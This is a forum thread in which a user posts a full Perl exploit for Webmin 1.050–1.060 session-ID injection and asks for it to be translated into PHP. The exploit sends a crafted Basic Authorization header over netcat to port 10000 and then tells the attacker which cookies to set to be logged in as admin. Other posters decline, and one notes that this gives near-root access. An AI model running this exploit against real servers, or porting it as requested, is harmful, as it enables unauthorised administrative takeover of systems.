CGI => PHP ... plz

[nodi]

I need this small program in php ... asap plz

#!/usr/bin/perl
#
# Exploit for Webmin 1.050 -> 1.060 by Carl Livitt
#
# Inserts a fake session_id into the sessions list of webmin.
# Does no error checking... if remote host is not found, no
# error will be reported.
#

print "Webmin 1.050 - 1.060 Remote SID Injection Exploit\n";
print "By Carl Livitt <carl at learningshophull dot co dot uk>\n\n";

$nc="/usr/bin/netcat";

if($#ARGV == -1) {
	print "Syntax:\n\t$0 hostname\n";
	exit(1);
}

$hostname=$ARGV[0];

if ( ! -x $nc ) {
	print "netcat not found!\n";
	exit(2);
}

open(NC, "|$nc $hostname 10000 >& /dev/null");
print NC "GET / HTTP/1.1\n";
print NC "Host: $hostname\n";
print NC "User-agent: webmin\n";
print NC "Authorization: Basic YSBhIDEKbmV3IDEyMzQ1Njc4OTAgYWRtaW46cGFzc3dvcmQ=\n\n";
close(NC);

print "You should now have a session_id of 1234567890 for user 'admin' on host $hostname.\n";
print "Just set two cookies in your browser:\n\ttesting=1\n\tsid=1234567890\nand you will ";
print "be authenticated to the webmin server!\n\n";
print "Note: This will only work on a webmin server configured with the 'passdelay' option.\n";

please asap

[sarahk]

yeah, that's pretty simple php

shouldn't take you long at all to research the necessary commands

some code I have for writing files

<?php 
include "funcs.inc";
$loggedIn = validSID();
if ($loggedIn == false)
{
  header("Location: [url]http://localhost/apia/main/update.php\n\n[/url]"); 
  exit;
}

$writeme=fopen("../data/$working","w");

$message = trim($message);
fputs($writeme, $message); 
fclose($writeme); 

header("Location: ". $HOSTPATH ."main/update.php\n\n"); 
?> 

Goodluck and enjoy learning PHP.

[nodi]

thanks sarahk

but i need to convert code to php : )

try again plz

[nodi]

🙁

[spirp]

nodi, this isn't some form of a coding-service, you can't simply come here and more or less demand a piece of perl-code to be translated for you.

A good start to this might be to learn some PHP (I figure you don't code PHP due to the nature of your post...). Then, when you know enough PHP to be able to grasp the concept of converting the code, come back and people will probably be able to help you. And remember, a well defined question will usually render a good answer..

Good luck,
Olle

[EviL_CodE]

Looks like to me that nodi is trying to be a php-skriptkiddie.

For those unaware what Webmin is, it is a web-based administration tool for linux platforms. By logging on with the admin username, you more or less have full root access.

[nodi]

Originally posted by EviL_CodE
Looks like to me that nodi is trying to be a php-skriptkiddie.

For those unaware what Webmin is, it is a web-based administration tool for linux platforms. By logging on with the admin username, you more or less have full root access.

don't worry it's old bug , but i have to know what happen only , that's it 🙂